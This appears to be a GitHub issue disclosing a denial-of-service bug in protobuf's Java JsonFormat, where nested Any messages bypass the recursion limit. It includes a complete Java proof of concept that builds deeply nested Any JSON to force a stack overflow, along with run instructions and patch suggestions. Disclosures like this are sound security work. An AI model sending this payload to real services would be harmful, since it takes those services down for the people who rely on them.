protobuf icon indicating copy to clipboard operation
protobuf copied to clipboard

Protobuf Java JsonFormat Any Nesting Bypasses Recursion Limit Leading to Stack Exhaustion (DoS)

Open 34selen opened this issue 2 weeks ago • 5 comments

1. Summary


A denial-of-service (DoS) via stack exhaustion is possible in Java com.google.protobuf.util.JsonFormat when parsing deeply nested Any messages, because the configured recursionLimit is not enforced along the mergeAny() path. Specifically, mergeAny() does not increment/check currentDepth, allowing attackers to bypass the recursion limit by repeatedly nesting Any inside Any.

2. Description


In normal message parsing, JsonFormat enforces recursion depth in mergeField() by incrementing currentDepth and checking it against recursionLimit. However, the Any handling path (mergeAny()) does not increment/decrement currentDepth when parsing the embedded message.

When an Any contains another Any (repeatedly nested), wellKnownTypeParsers triggers recursive calls into mergeAny(). Because currentDepth is not updated, the recursion limit is effectively bypassed, and parsing can recurse until the JVM stack is exhausted.

2.1 Expected Flow

  • JsonFormat.parser().merge(...) is called.

  • While parsing message fields, currentDepth is incremented.

  • If parsing depth exceeds recursionLimit, parsing fails with:

    InvalidProtocolBufferException("Hit recursion limit.")

2.2 Root Cause

  • mergeAny() does not increment/decrement currentDepth when it parses the embedded message.
  • As Any nesting increases, the depth counter does not reflect the true recursion depth, so recursionLimit is not enforced.
  • mergeAny() directly invokes mergeMessage() and bypasses the usual merge() path that performs depth accounting.

3. Proof of Concept (PoC)


Reproduction Code (Full)

poc/java/com/google/protobuf/util/JsonFormatAnyDepthPoC.java

package com.google.protobuf.util;

import com.google.protobuf.Any;
import com.google.protobuf.TypeRegistry;

publicfinalclassJsonFormatAnyDepthPoC {
privatestaticfinalStringTYPE_URL="type.googleapis.com/google.protobuf.Any";

privateJsonFormatAnyDepthPoC() {}

privatestatic StringbuildNestedAnyJson(int depth) {
if (depth <1) {
thrownewIllegalArgumentException("depth must be >= 1");
    }
StringBuildersb=newStringBuilder(depth *64);
for (inti=0; i < depth; i++) {
      sb.append("{\"@type\":\"").append(TYPE_URL).append("\",\"value\":");
    }
    sb.append("{}");
for (inti=0; i < depth; i++) {
      sb.append('}');
    }
return sb.toString();
  }

publicstaticvoidmain(String[] args) {
intdepth=150000;
intrecursionLimit=5;
if (args.length >=1) {
      depth = Integer.parseInt(args[0]);
    }
if (args.length >=2) {
      recursionLimit = Integer.parseInt(args[1]);
    }

Stringjson= buildNestedAnyJson(depth);
TypeRegistryregistry= TypeRegistry.newBuilder().add(Any.getDescriptor()).build();
    JsonFormat.Parserparser=
        JsonFormat.parser().usingTypeRegistry(registry).usingRecursionLimit(recursionLimit);

    Any.Builderbuilder= Any.newBuilder();
try {
      parser.merge(json, builder);
      System.out.println(
"Parsed nested Any depth="
              + depth
              +" with recursionLimit="
              + recursionLimit
              +" (bypass)."
      );
    }catch (Exception e) {
      System.err.println("Parse failed with exception: " + e.getMessage());
      e.printStackTrace(System.err);
    }catch (StackOverflowError e) {
      System.err.println("StackOverflowError (recursion limit bypassed).");
throw e;
    }
  }
}

How to Run

cd ~/protobuf
bazel run //poc/java:json_format_any_depth_poc -- 150000 5

Example Result

  • Even with recursionLimit=5, parsing does not fail with "Hit recursion limit.".
  • With sufficiently deep nesting, parsing results in:
    • StackOverflowError, or
    • an exception thrown by the JSON parsing layer (depending on depth and environment).
  • This demonstrates that recursionLimit is not applied to nested Any parsing.

4. Impact


  • If external input (JSON) can include nested Any values, an attacker can bypass recursion protection and trigger a DoS.
  • Deep nesting can cause stack overflow, leading to request failure and potential service disruption.
  • If unhandled, StackOverflowError may terminate the process depending on the application’s error handling and runtime behavior.

5. Patch Recommendation


  • In mergeAny(), add currentDepth increment/decrement and enforce recursionLimit consistently, or
  • Refactor Any embedded parsing so that it always goes through the standard merge() path (or an equivalent shared helper) that guarantees recursion depth accounting.

34selen avatar Dec 30 '25 11:12 34selen